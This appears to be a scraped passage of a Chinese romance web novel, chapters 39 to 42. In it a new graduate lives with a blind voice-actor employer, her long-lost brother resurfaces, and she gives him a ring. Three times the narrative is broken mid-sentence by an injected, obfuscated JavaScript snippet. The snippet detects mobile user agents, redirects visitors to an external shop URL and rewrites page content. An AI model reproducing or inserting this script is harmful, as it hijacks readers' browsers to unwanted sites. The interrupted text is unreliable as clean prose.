她对此略知一二,觉得池晚桑一定有同样的经历。 果不其然,池晚桑仰头靠在椅背上无声笑了笑,下颌线到脖子拉伸出漂亮的一条弧线,“何止被拉着表演。之前宿舍熄灯睡觉后,我还得负责给全宿舍讲晚安小故事。” “我也是!特别是余庆和周静昀,两个人脸皮厚起来,固若金汤,厚比城墙,什么无耻的要求都提得出来……” 池晚桑听后一挑眉,“什么无耻的要求?” 呃,看来大家经历的还是有些不同,秦叠选择回避。 台上节目终于告一段落,接下来就是拨穗仪式。 “你就在这儿等我吧,我去领了学位证和毕业证,拨个穗就来找你。”秦叠把手头的花和吉祥物都塞到池晚桑手里。 西装笔直,手里却全是少女心的小物件,有一丝,反差感,秦叠玩味地看了他两眼,转身要走。 “秦叠。”池晚桑忽然喊住她。 “嗯?”她停下来。 池晚桑默了瞬,“抱歉,没办法观礼,给你拍照,分享这一刻的快乐。” “嗐。”秦叠此时已经快混入人流,排队着走上台子,扭头笑着对他大声道,“你能来我就很开心了,现在分享给你我的快乐吧。” 他笑了。 忙忙叨叨上台,秦叠刚拿到自己学位证,旁边穿红色博士服的老师就像工业生产线上的机器人,干脆利索地将学士帽上的穗给播到左边。讲台前站了一排摄影志愿者,对准台上每一对老师和同学咔咔一顿乱拍。 耳边她只听见老师以极快地速度,像完成任务一样问她毕业什么打算,恭喜她毕业,以后常回来看看,她表情都还没摆好,这一轮拨穗已经结束。 后来她对池晚桑吐槽太仓促,池晚桑只是笑着说大家都一样,老师们肯定拨的腱鞘炎快犯了,才这么着急。 两人在路上慢慢往回走,今天日头不算毒辣,但能感受到阳光的温度,秦叠想池晚桑一定愿意走回去,便陪着他搭乘十一路公交慢慢闲逛。 “诶,今早不是去工作室看桉羽姐配音了吗?还顺利吗?” 池晚桑正想说顺利,像是有心灵感应一般,苏木的视频通话打过来了。一接通,那边就激动不已,“大学生呢?大学生呢?” 池晚桑将手机拿远,镜头将将把秦叠框柱,那边又一阵沸腾,“毕业快乐!欢迎进入社会接受毒打!” 秦叠笑着说谢谢,苏木又无缝衔接今早发生的事。 嘴快的,像是摸了润滑油一样。 今早沈桉羽交完第一段配音demo后,导演那边忽然有个紧急宣传直播,据说是好不容易拉到的嘉宾,只能将就别人的时间,才如此措手不及。 剑修这部剧是讲述女孩子成长的过程,不同于一般的修仙文,草根男主一路开挂,结识一个又一个美女子,各个又纠缠不清。剑修里感情线很微弱,男主甚至可有可无,女主逐渐突破原生家庭,封建制度,逆着所有人的目光,成长的故事。 故事的最后女主放弃了所拼命换来的一切,因为她想守护的人都一一远去。在应该享受一切成果的时候,她毅然离去,江湖辽阔,有缘再见。 和沈桉羽一样,她们选择的路都不被身边的人认可,像是投影,更像是指引。 来的嘉宾也是近些年著名的女性作者,小时候家庭条件艰苦,她凭借对文学的热爱,一路闯出大山。可到外面的时候,却发现一腔文艺范,根本养活不了自己,还有山里的家人。她却力排众议,坐到了如今的地位,像故事里的女主角。 资本家想利用她的知名度圈钱,安排一场场见面会都被她给拒绝了。 秦叠觉得她们都很勇敢。 沈桉羽在直播里表现很好,谈吐落落大方,聊起对未来的展望和对女性朋友的建议时,也并不官方,句句透露真诚,字字来自内心。 可直播到一半,她妈妈闻着味儿就来了。 苏木说得口干舌燥,放下手机说要去喝口水。 关键时刻停住,不上不下,膈得人心里难受,像是古代说书先生老是停在剧情转折的关键,秦叠恨不得冲进手机把他拉出来继续讲。 “你们那是没看见,陈藻今天多么威武。”苏木重新拿起手机,“他就站在门口,把聆镜的门挡得死死的。” 说罢他又学着陈藻当时面无表情的模样,挺胸昂首,“阿姨,给她一次机会吧,今天的直播对桉羽很重要。您真的知道她想要什么吗?不要再附加无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737870|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意义的重量在她身上了。” 苏木又说:“你们是没看见她妈妈的表情,像是晴天霹雳一样,楞在门口,后来听到直播里沈桉羽的话,给听哭了。” 我的妈妈为了爱情放弃了自己的梦想,但我想为自己争取,我想冲上山顶,想自由自在地沐浴阳光,没有负累地享受这仅此一次的生命。 我想看见我自己,不想成为别人,我想,我心里有一片旷野。 镜头里陈藻的身影一闪而过,秦叠咦了一声,“陈哥身上的伤?” “嗐,”苏木不在意地说,“一开始她妈妈不是不想沈桉羽直播吗?非要搞臭她,拉她回去开公司,一激动,咱陈哥就挂了点彩。” 电话里,林桐又提到最近新接了一部动画电影,顶级制作,著名导演,人物性格和秦叠匹配度很高,大家一致同意将角色留给她。 只是导演脾气有些怪异,据说不爱开空调,艺术到疯魔的人,对事情处理有些与众不同,倒也能理解吧。 今天似乎所有事都很好,昨晚感冒发作前吃了一颗药,及时遏制了病情;池晚桑给的肚脐贴作用也很显著;毕业典礼顺利完成,还收到了两束花;聆镜工作一切顺利,沈桉羽又能继续在热爱的职业上发光发热…… 也许我们并不擅长,但我们足够勇敢,去拥抱,去坚定地选择。 连带着眼前的事物都明媚了起来,公交车上塞得满满当当,似乎也没有之前在秦叠心里的恐惧那么可怕了。 秦东柏丢后,他们常常搬家,从家到学校的距离也是忽远忽近,需要秦叠自己找好公交线路,每天来回在高峰期挤公交。 那时候,她常常拼命地挤,门在身后关上后,她一动不能动,每一站还得下车给人让路。有一回她下车后,司机以为她到目的地了,没等她上车就开走。 小城里公交运营时间短,那是最后一辆回家的车。 如果排在前面挤上车,也会难受,身边人不知道有意无意在自己身上擦来擦去,要是与他理论,大家只会说公交太挤了,相互体谅吧。 所以公交对她来说,可以算的上噩梦的盒子,关上门,没人能救得了她。 可现在好像又有人会护着她,秦叠释然地看向旁边的池晚桑,她挑肥拣瘦地讲故事,轻描淡写地诉说。 池晚桑努力回忆,那时候的记忆都太遥远了。 “清远的公交有那么挤吗?” “有啊!”秦叠抢先一步,踢开在池晚桑前面的易拉罐,“七路公交,在城区最拥挤的地方运营啊。” 说完后,她忽然有点后悔,公交路数应该不会让池晚桑怀疑她的身份吧。 那么多路呢,那么多人呢,秦叠自我安慰。 “……七路?” 这个词还是让他一下子陷入回忆。 因为太熟悉了。 “对啊,每回我被挤在门上贴着,时刻得提防车门忽然打开,脸朝下摔下去,你知道那种不安全感吗?” 手机来了一条陌生人的好友添加请求,秦叠扫了一眼,头像是一棵树,中老年爱用的头像。 骗子。 她又将手机揣回去。 池晚桑眼睛里蒙上一层回忆,楞了瞬,怔怔地说:“知道,我刚失明那会儿,觉得我随便迈出一步都能跌入深渊。” 那种不安全感,如今都如影随形跟着他,只是他在刻意淡化。 秦叠觉得自己嘴太快了,一高兴就忘了姓胡乱说。这样下去不是办法,她还得找个合适的机会和池晚桑坦白自己的身份才行。毕竟现在他和聆镜对自己太好了,再瞒下去有些无耻了。 嗯,先得慢慢不经意流露出线索,虽然线索她已经给出了几百条了。 “秦叠?”池晚桑忽然转过头看向她,似乎下一秒就能揭开她的面纱。 她有些疑神疑鬼地回应:“嗯?” “毕业快乐。” 40. episode40 如果说不安全感像影子一样一直跟在池晚桑身边,此刻他感觉到身边女孩的似曾相识,那感觉又一下子重了起来。 像挖空了心脏,直直地下坠。 “还记得打电话通知你录取的结果的时候,我说的话吧。”池晚桑停下脚步,仰头闭着眼,沐浴阳光,似在享受这一刻,“如果聆镜给不了你想要的,随时可以退出。” 秦叠怔愣了瞬,眨眨眼看着池晚桑,说:“小时候我一直想赚很多钱,我不喜欢我爸妈,也不想欠他们的钱,说来你可能不信,在自己家里住一直有种寄人篱下的感觉,向他们要钱甚至有种罪恶感。” 池晚桑忽然睁开眼睛,“看”向她的方向,“我帮你垫学费,绝不是想你有什么罪恶感。是借给你的,还记得吧,不要给我架上去了。” 秦叠笑笑,“我还没说完呢。今天我发现借你的钱……” “借”字她有意说得格外重。 “我并没有太反感,所以,我很喜欢聆镜,很喜欢大家,不出意外的话我不离开,池老板可不要赶我走。” 像是阳光晒饱了,他眼角流露出稀碎光点,眉眼弯弯,继续向前迈步,“没人赶你。不过今天要是我没在场,你怎么应付那人?” “就……不理她呗。” 池晚桑皱了皱眉,慢条斯理地说,像是在照顾自家小孩:“毕业了,骨头得硬点,不要随便让人欺负,听到没?” 秦叠立正,挺胸敬礼,夸张地说:“知道了,多谢池老板!前面就是宠物店了,我去接咱家大少爷回宫。” 池晚桑扭过头去嘴角勾起,阳光下,两人都笑得很甜。 下午半天,聆镜的热度又伴随着沈桉羽的直播和池晚桑的配音直冲热搜顶层。有惊讶于小小工作室竟然藏龙卧虎的,有钦佩于沈桉羽的勇气和态度的,还有纯看颜值来嗑CP的,过分的是竟然还有人问池老板的单身情况,要上门自荐…… 果然林子大了。 沈桉羽和妈妈聊了一下午,她让妈妈看见自己的态度,也通过这次直播更加清楚地看清了自己内心。 一个人一心就想干一件事,这事你能理解吗? 她理解。 下午太阳直射街道,路上闷热得难受,秦叠和池晚桑困在家里无所事事。池晚桑拿了本盲文书静静地阅读,秦叠瘫在沙发上对自己未来将要接触那个导演心生了不少好奇。 他拍出了不少过亿的票房,不乏大制作,名演员,在电影艺术成果上可以说无可挑剔。不过不知是不是故意炒热度,他的各色八卦新闻却不绝于耳。 包括他喜欢太阳和高温,觉得人只有处在高温炎热的环境,体温接近自然的时候,才能将热情和才华由内而外地散发出来。 “啧,怎么就不怕热呢,真是个怪人。” 秦叠躺得舒服,从今天起,毕业有了实感,手脚的束缚似乎一下子消失了,嘴巴上也有一句没一句地自言自语。 手机屏幕亮起,那棵树又发来了好友申请,说是有事请教。 这骗子也太笨了,基本话术和套路都不会,起码说自己是谁谁谁,故人久别加联系方式,寒暄寒暄吧。 “嘿,这人真是……” 秦叠话还没说完,池晚桑放下手里的书,“我记得你喜欢望远镜,我这儿有一个更专业的,想玩吗?” 看来是觉得她太吵,找点事给她做。 秦叠扭头看了一眼岫白,岫白闭上清亮的眼睛,只剩一坨黑色。 她回过头来,耸耸肩,“好啊。” 他竟然还记得那房东说的话,死去的尴尬又重新攻击秦叠。 自古以来,坦白从宽,抗拒从严,她不知道池晚桑到底了解事件到哪种程度,不过隔了这么久,忽然点她一下,想必不是浮于真相表面。她认为自己还是有必要为自己正名,她秦叠不是偷窥狂。 秦叠默默叹了口气。 她跟在池晚桑背后,酝酿了两次,艰难地说:“那个,有件事一直没和你说清楚。我之前没蹲点哪家明星,这儿附近公园里有座小山丘你知道吧。我们这儿刚好能看见。山上有白鹭和一些漂亮的鸟儿,我是用望远镜看它们的。” 秦叠觉得自己撒谎的技术越发精湛成熟了。 “我不知道。” “啊?” 池晚桑弯腰在纸箱里一顿翻找,秦叠犹豫要不要帮他,他又说:“我不知道附近有小山丘。” 他终于在纸箱底部摸到那个望远镜,是失明之后买的,从来没用过,但花了大价钱。他笑了笑,“找到了。” 秦叠看见池晚桑掏出来一个笨重的家伙时,一时有些震惊,这牌子她认识。随便哪款都价格不菲吧。 “喏。”池晚桑递给他,轻飘飘的,像是在给一件废品,直起身将她头顶的照明灯光遮住大半,“很久没用,应该有灰,你擦擦。我还有天文望远镜,晚上你也可以看着玩儿。” 秦叠忙捧圣旨一样双手举过头顶接过,哦了一声,池晚桑又想起什么,说:“你那个望远镜用着怎么样?当时别人送我的,我也不知道质量如何。” 秦叠目光僵硬地又从望远镜移到池晚桑身上。什么! “那个是你送的?” 池晚桑耸耸肩,“我拿着也没用,听你师弟师妹说你喜欢,就顺手送了。” “哦。”不知道为什么,秦叠听到顺手两字,心里有些许不是滋味,她抿了抿嘴,抽出两片纸巾擦拭镜身。 池晚桑就这样,又若无其事地坐回去,好像什么都没发生。他在心里默认秦叠是会弄的。 午间阳光透过玻璃,室内消减了些许温度,暖光氤氲房间。秦叠将望远镜架好,这次是真正对准不远处的小山丘了,也不知道有没有鸟。 但是,她心不在焉间,拿过去的时候镜头磕在了沙发角,不重不轻一声。秦叠警惕地看向池晚桑,背后竟有一丝凉意蔓延上来。 这么贵的东西在手上不能用心一点吗? 秦叠你赔的起吗? 还好池晚桑不动如钟,他就靠坐在阳台边,沐浴在橙黄色的光晕里,身边两株绿萝长得茂盛,垂下枝条来,像是绿色的瀑布。 刘海很久没修理,有些挡着眼睛,但对他来说不成问题。短发在阳光下成棕黄色,莫名给人温暖的感觉,鼻侧眼下有些微阴影,像是一副油画,深浅得当。 像是一首诗,平仄自如。 秦叠咽了咽口水,弯腰从镜头里望出去的时候。 天都塌了。 里面竟然将一栋楼映出了四重影子,这样下去,房地产商做梦都要笑醒了。 秦叠额角渗出点点汗珠,又悄悄站在那边,焦急又崩溃地鼓捣了半天,宣告失败。 就算要赔钱,起码让她先看一眼,过过瘾吧…… 秦叠却没动,也不说话,就像是在认真地摆弄望远镜,着了迷的样子。她蹑手蹑脚搬了个凳子过去坐着,不想赔钱,起码要演够时长才行。 “看到什么了吗?”池晚桑头也不抬地问。 靠,忘了这家伙听力绝佳。 秦叠坐下,将自己手机拿过来,对准山包,放大,除了朦胧模糊的绿色,什么都没有。 “嗯,看到了,山顶的树上有鸟,长得有点胖,浑身穿着麻衣,眼神有点狠厉,像是老鹰的亲戚一样。” 池晚桑笑了笑,“想象一下怎么有点像呆傻的小胖鸟。” “哎,不看了不看了。”秦叠拿起望远镜就准备将它继续尘封在箱底,最好一辈子不拿出来那种,“不是说要听我弹吉他吗?等我去调个音,太久没弹了。” “好。”池晚桑也放下手里的书,伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741564|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了伸懒腰,像是晒饱了太阳的小猫。 结果秦叠进房间一调,吉他十分不给力,一弦直接断了,她手忙脚乱地又一阵换弦,有些无语,这下池晚桑一定觉得她是半灌水响叮当。 电话在客厅响起,不是认识的人,因为秦叠对通讯录好友都设置了不同的音乐,这种十有八.九是推销或者诈骗,她朝池晚桑喊了一声: “你帮我接吧,多半是推销。” 池晚桑也没多想,接通的时刻,听见电话里的男声,脑子却忽然嗡地一下。忽然觉得手脚冰凉,血液顺着血管迅速倒退,聚集在不知道的地方,空留下一个躯壳。 脑袋里一片混沌,他还在尽力消化对方的消息。 可就像是齿轮上卡了一颗泡泡糖,黏住关键运转方向,怎么也动不了。像个腐朽老旧的机器人,重复着呼吸而已。 “秦柔桑吗?我是你哥秦东柏,微信怎么不通过?” …… 池晚桑只恨自己气管太狭小,无法供应他现在的需氧量,耳朵上像是蒙了一层薄膜,将他唯一敏捷的感官都堵住了大半。 “……喂?” 电话那头许久没得到回复,又喊了声。 “她,不在,我待会儿让她回你吧。” 池晚桑开口间嗓子是哑的。 说完这句话,像是耗光了所有力气。所以这两个月,自己身边的人,从来都是她吗? 秦叠此时抱着琴从房间里出来,总算没丢完这个人。 “我好了,”她拿过池晚桑手里的手机,还颇有些得意,准备好一展身手,“怎么了?谁打的电话?” 池晚桑怔愣着说,有些吞吐,“说是,你哥……让你,同意他好友申请。” “我哥?”秦叠也有些吃惊地打开手机那颗树的头像,寒冬腊月,冰天雪地,一棵松柏挺立于崖边。 秦东柏。 后来听歌的时候,两人都心不在焉。池晚桑的注意力根本没法集中在音乐上,听见秦叠的声音,脑子里就冒出无数个问题。 你还记得我吗?记得的话为什么要撒谎?这些年过得怎么样?看见我的样子有没有失望? 现在秦东柏也找到了,终于一家团圆了吧…… 秦叠心里则有些按耐不住的激动,秦东柏既然不肯见爸妈,又为什么会找上她?如果是看在多年的感情,那之前干什么去了? 她通过了好友申请。 “今晚就到这儿吧,今天有些累了,早点睡。”秦叠语气和平时没什么两样,她还是很擅长伪装自己,特别是声音。 池晚桑点了点头,“好。” 表面和平时别无二样,但两人各怀心事,都睡得很早。池晚桑躺在床上,阖上眼帘,拿出MP3,点开常听的那一段。 是个稚嫩的女声。 “晚桑哥你听,我可以模仿海绵宝宝的声音,‘派大星你想和我一起捉水母吗?’我还可以模仿秦东柏的声音,‘秦柔桑你再动我的弹弓,我就把你辫子给剪了’……” “嘘,先别说话,你听,林子里有鸟儿在叫你,还有淙淙水声,好像有鱼溅起了水花在吐泡泡……” “派大星我们去捉鱼吧!” 她根本不听他的话,像个无忧无虑的小精灵。 …… 黑洞洞的房间,即使有月光照进来,他也看不见。池晚桑蜷缩在被子里,将自己紧紧包裹,手里握着多年前的MP3。 屋外传来几声哽咽。 刻意压制,从嗓子里不经意露出的呜咽。 岫白和他刚磨合的时候,他常不经意踩着它的脚,狗子委屈巴巴又不敢发怒的声音就是这样,轻轻的,细细的。 断断续续的。 在夜里格外抓他的耳朵。 黄鹂不语,却笑平生自许。 41. episode41 秦叠刚进大学的时候经常关注失散儿童回归家庭的新闻,有个哥哥说,他第一次加上弟弟的微信时,分明能感受到弟弟对自己和原生家庭的好奇和热情,问了很多他们家的问题。 秦叠以为哥哥也是这样,会好奇妹妹和爸妈这么些年的变化。 但她收到第一句话确是冷冰冰的疑问: 【为什么突然来找上我?】 突然? 如果不是秦叠自己一点一寸地经历爸妈的寻子之旅,她会怀疑自己耳朵听错了。老家街道灯柱和电线杆上发黄的广告,社会新闻版面缝隙里的求助小字,镜头里两个中年人两鬓斑白,一次次的哭泣。 你说这是突然,是毫无理由地闯入? 秦叠只是淡淡地回了句:【他们一直在找你。】 秦东柏:【隔了这么多年,找到了,然后呢?我已经有自己的爸妈,自己的家庭了。】 秦叠胃里翻卷着不知是什么滋味,有人在丧心病狂地挽回,却丝毫没考虑到被挽回那人是否愿意。也对,秦东柏当初一走了之,没人知道是什么原因,如果真是他自愿的逃离,那他们所做的一切都将是徒劳。 可为什么是他逃离? 秦叠:【哥,没什么意思,爸妈就是想你了。】 她生涩地将“哥”打出,犹豫了半晌又补充了句: 【我也很想你。】 他回复得很快,秦东柏:【没什么值得的想的。】 【你告诉他们不要再来找我爸妈,我们可以相认,但是回不去了。】 秦叠盯着屏幕上的话发呆,过了会儿,又发来一条,似是不耐烦: 【我和他们说不通,不想大家闹太僵,你去劝劝。】 池晚桑起身打开门时,抽噎更明显了些。秦叠将手机丢在一旁,抱膝蜷缩在卧室的墙角,咬住嘴唇,不让情绪太过崩溃。 她这些年经历的好像是儿戏一般,无来由的冷漠,无来由的视而不见,秦东柏一句不值得将她们通通打回原形。 到底是为了什么,就像一辈子朝着雕梁画栋的大厦前进,临了,却发现这不过是虚妄的幻境。再回过头来看沿路的脚印,都被风沙填埋,无根浮萍。秦叠为自己感到难过,更为秦时两口子难受。 舌尖尝到一丝腥甜,她努力吸了吸鼻涕,平缓呼吸。 池晚桑站在门边,迟迟没有向外迈出一步,手心里攥着一封多年前的书信,因为用力攥紧,而皱成折扇摸样。 他试图看清飘窗前洒落的月光,仿佛能看见墙边酣睡的岫白,黑色绒毛起伏。还有这房间里的一桌一椅,一草一木。他环视一圈,仍旧无果。 眼眶睁得发酸,眼角有些潮,却什么都没有变化。 他轻嘲了下,垂下眼帘,别做梦了池晚桑,这么多年了。 不会好的。 只是徒劳。 他想,但是秦柔桑不应该浪费在自己身上。 心思辗转间,池晚桑就要出去看看秦叠,却“嘣”地一声,一头撞上了未全打开的木门。 听见这声响动,房间里的抽泣停止了。 池晚桑忽然笑了笑,没来由的。 清远那个小地方的人,哥哥又是从小走丢的,还常常搭七路公交车,能有第二个人这么巧嘛。他之前也是昏了头了。 “咚咚咚。”池晚桑整理好心情后侧身轻敲秦叠房门。 “还好吗?秦……” “叠。” 秦叠耸了耸鼻子,将埋在双膝的头抬起来,仍旧靠坐在地上,没有动。隔着门板问:“你都听见了?” 她的声音闷闷的,压抑着决堤的情绪,在角落独自拾起一砖一瓦缝缝补补,池晚桑心里像落进几块玻璃渣。连带着呼吸都加重了。 池晚桑揉了揉额心,还有些胀痛,无奈地笑着说:“听见你在吸鼻涕。要纸巾吗?” 嘎吱一声划破黑夜和寂静,门从里面打开了。 “谢谢。” 池晚桑递给她后却没打算走,双手插在睡裤兜里,抿了抿嘴,似乎不知从何开口,“秦……哥哥……找到了不开心吗?” 秦叠叹了口气,越过他去客厅倒水喝,“事情没有想的那么简单。”她顿了顿,“我哥他,不太想回来。” 现在她都还记得哥哥丢的那天,班里推选一个人参加演讲比赛,她和另一个女生都是候选人,而她在班级里的票数明显还多些,但是她落选了。 因为班主任说那个女生形象气质好。 后来秦叠在办公室看见了她妈妈提着一篮水果。 她当然知道是什么原因。 那时候的秦叠长得虽不说很出众,却是清秀耐看的,但是由于家里没人在梳妆打扮上下过功夫,她也从不保养皮肤,一到冬天就起皮,夏天也不擦防晒霜不打遮阳伞,光溜溜晒着。 那个女生却是天生的冷调皮肤,狐狸眼,偶尔还会看见她化些淡妆。和那天办公室看见的她妈妈化的差不多,像是一个化妆工厂教出来的学生。 这都不是最难受的。 可恶的是她的朋友和入选的女生聊天时忽然发现自己都喜欢同一个明星。 一个秦叠怎么也插不进去的话题。 有种被偷了家的孤独感。 虽说时间会抚平一切,但现在她想起来仍旧是耿耿于怀的。只是没有当初的义愤填膺,想两步上去揪住她的领口,让她离自己的朋友远点。 那天就像是世界末日一样,天空都低得可怕,她迫切地想回去得到一口喘息的机会,哪怕和秦东柏斗嘴都是好的。 但是就像古人说的,祸不单行,她的事无处诉说,又被另一座山在心里压得瓷实。 那些无人在意,没有回复的日子,让她羡慕大雄能有哆啦A梦的陪伴,海绵宝宝隔壁就住着永远不会搬家的章鱼哥和派大星。 她想,哪怕是一株草也行啊。 “很难受吗?”池晚桑盘腿坐在她旁边。 秦叠不置可否,乖乖地点点头,叹了口气,“就是觉得不值得,没意义。我很早之前就想过这种结果,只是现在忽然有种白干了的感觉。” 是啊,就像秦东柏说的,不值得。 两个人用半辈子去追寻一个影子,不值得。 池晚桑默了瞬,说:“你只是做了想做的事,你这是善良,不是笨。” 他长呼一口气,“你知道什么才是真的白干吗?在为未来做好规划,准备好……”他停下,看了眼秦叠。 “准备好一切的时候,忽然看不见了。” 池晚桑“望“向窗外的方向,勾了勾唇角,“还好我刚上大学的时候,朋友们都对我很好,得知我刚失明,一个一个排着队来安慰我,帮我打水,带饭,还有抄作业的。” “可是他们越是热情,我越是难受。自己不去摸索,走再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749440|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多次去食堂的路,还是会摔倒。但是没有他们,我可能也没有勇气重新融入这个社会。” “我很感谢他们,在善良和正确之间,选择了善良。” 池晚桑还从来没讲过他大学时候的故事,秦叠听着新奇,心里的阴霾也消散了几分。 她吞吞吐吐地说:“我刚才和他争吵了两句,让我想起我爸妈,我不想变成他们的样子。” 池晚桑没想到她会说这个,嗯了一声,说:“我会算命,放心,你以后吵架不会很厉害,都是被人追着骂的级别。” 池晚桑感觉到有些事情她不愿多说,毕竟自己现在在她眼里,对她的身份还一无所知,贸然过问,只会画蛇添足。 “给你变个魔术。” 池晚桑说着俯身从茶几下面的柜子里拿出扑克,想必也是苏木带过来的。秦叠见状便知道他要表演什么,猜她选的是哪张牌,池晚桑的看家魔术。 翻来覆去,不过他好像也就会这一种。现在失明了再玩儿这个,显得更加神秘了。 他开始打乱牌面的顺序,秦叠配合地抱住膝盖,将头靠在上面,乖巧地盯着他,按照池晚桑的指示抽牌,洗牌。 最后,他在貌似已经顺序完全打乱的一堆牌里,神奇地找到秦叠选的那一张。 “怎么做到的!”秦叠给足了情绪价值,和以前一样,缠着池晚桑要他传授魔法,后来她自己在网上看了破解视频,觉得也就那样吧。 “好神奇!” 她也许自己都没留意到,说出这句话的时候,语调明显偏高,偏细。也许是将她带回了多年前的下午,他们一边吃冰镇西瓜一边看池晚桑变魔术的时候。 身体自己给出了反应。 池晚桑却楞了一下,在此刻,眼前的女孩和MP3里的声音重合,从稚嫩到温婉,天真到稳重,好像变了,又好像什么都没变。 从前的姑娘受不得一点委屈,有回他和秦东柏戏弄她们班的女生,在她们留校做值日的时候装神弄鬼,几个女生乱成一团,将踩在凳子上擦黑板的秦叠给撞了下去。 池晚桑第一反应是暴露自己上去接住她,然后他们一行人就被秦叠大义灭亲给检举为在学校破坏教学秩序。 难得回忆起些开心的事,他笑了笑。“想知道怎么变的吗?” 秦叠摇摇头,说得斩钉截铁,“不想。” 因为她早就知道内在奥妙了,不稀罕。 月光温温柔柔洒进来,朦胧的白色盖在地上,像是覆了一层雪,晶莹剔透。两人身披银毯,坐在窗边的地上,委婉地诉说自己的故事。 秦叠想起什么,忽然对池晚桑说:“我也给你变个魔术。” 此时岫白在门边狗窝里呜咽了声,像是在抱怨被吵醒了好梦。秦叠立马小声凑在池晚桑耳边,气声重复了一句就要起身,“我给你变个魔术。” 她从屋子里拿出一个手心大小的盒子,路过门边的时候,听加岫白略显浑浊的呼吸,像是个经年的老人,缓缓吐出浊气。 “喏。”秦叠将一只手摊开伸在他面前,“你摸摸,有什么?” 池晚桑温热的掌心覆上去,礼貌性地收回,配合地说:“什么都没有。” 秦叠将那个小盒子放在手心,对他说:“你再摸。” 池晚桑手指触碰到盒子的时候,明显惊喜了瞬,笑了笑,“这是什么?” “戒指。” 42. episode42 戒指没什么寓意,秦叠只是觉得他戴上会很好看,路过首饰店的时候,一抬眼就看见了。银色的指环,上面有桑叶似的脉络,蜷缩着围成一个圆,似有生命在经脉里跳动。她想,池晚桑的手很白,指节纤长,很适合。 不去考虑店员说这是给爱人最佳的定情礼物,不回想苏木说他们结个婚神神秘秘的,连戒指都藏着掖着,她只是觉得很适合他。 于是用了深埋在银行卡里的积蓄,啼血买了一个。 看似怎么也难以熬过去的晚上,就这么平白无聊地过去,如身陷一池深潭,底下暗流涌动波涛汹涌,潭面平静如常,月升如旧。池晚桑收下戒指后,两人之间继续保持着不远不近的租客距离,相敬如宾。 重回工作,池晚桑在完成自己的任务同时,兼顾沈桉羽的表演,她毕竟不属于老天追着赏饭吃的类型,需要有人帮着,更需要她自己帮着。 加上聆镜一连放了几天的假,工作量堆积,回去的时候往往都很晚了,有些火甚至都快烧到眉毛。但没办法,只能一步一步地完成。 池晚桑这几天都回去得很晚。 秦叠也没等他一起走,而是先回去做饭,或是黑暗料理。 有一回,等着秦叠先下班,他故意将笔扔在脚边,假意摸了摸,转身就熟练地用myeyes向秦叠求助。哪知过于做贼心虚,手将桌面上的瓷杯子给扫到地上,在脚边碎了一地,这下子真真实实的寸步难行,需要求助了。 秦叠刚回到家,看见小瞎子的求助,没犹豫就接通,便看见工作室木地板上一滩水,大小不一的碎瓷,还突兀地在中间躺了一根笔。 她额角跳了跳,轻声问道:“您好?” 请开始她的表演。 池晚桑有些挂不住面子,说:“您好,我笔掉地上了,想请您帮忙看看在哪儿。” 对手戏演员已就位。 秦叠啧了一声,“地上有很多碎瓷片,你不要贸然去捡,很容易被划伤的。”她放下手里的菜,转身又要出门。 “是不小心摔的吗?” 她开始尽力找话题拖延时间。 池晚桑靠坐在椅子上却不慌不忙,“不是,刚和一个同事有些不愉快,情绪激动,自己摔的。” 同事?聆镜里敢和池晚桑顶嘴的,非苏木这家伙莫属了。秦叠不自觉又啧了一声。这几天工作任务重,两人对配音都是精益求精的类型,时不时会擦出些火花。这苏木是真没把池晚桑当盲人,指着鼻子理论起来六亲不认的。 池晚桑自嘲地笑了笑,“吵架还挺难受,自己无限内耗,吵输了憋屈,吵赢了也憋屈。” 这苏木怎么这么不省心! 秦叠忙快步走回聆镜,一边回应道:“是,我前不久也和人有些不愉快。我直接骂他没良心,但想了想自己好像也不是很有良心哈哈哈。” 她说:“有人告诉我吵架也没什么,一吐为快嘛,憋屈还不让人发泄了?你同事也不一定是恶意的,事情总会过去的。” 池晚桑笑了笑,看来听进去了。 难怪刚认识她的时候找不到一点以前的影子,小姑娘棱角都裹了一层纱布,钝的。 说到这里,他们第一回见面还是吵架,不,确切地说是打群架认识的。 那时候秦叠还没搬到城里的外婆家,池晚桑和弟弟回老家借读一年。池向榆是个公子哥的性格,看不起小镇的孩子,于是被秦叠揍了一顿。 他哭着要把池晚桑叫来镇场子,秦叠鼻子里哼出一口气,小手叉腰,“谁还没个哥哥了?” 后来这场群架以池晚桑老爸出面,要求双方比赛绕口令,谁先出错谁认输。神奇的是大家都默认了这场游戏作为终极对决。 最后谁赢了已经不记得了,但秦叠从此打进了池晚桑的小世界里。 池晚桑笑着说:“谢谢你,看来我是捡不起来这根笔了,我把我同事给叫回来。” 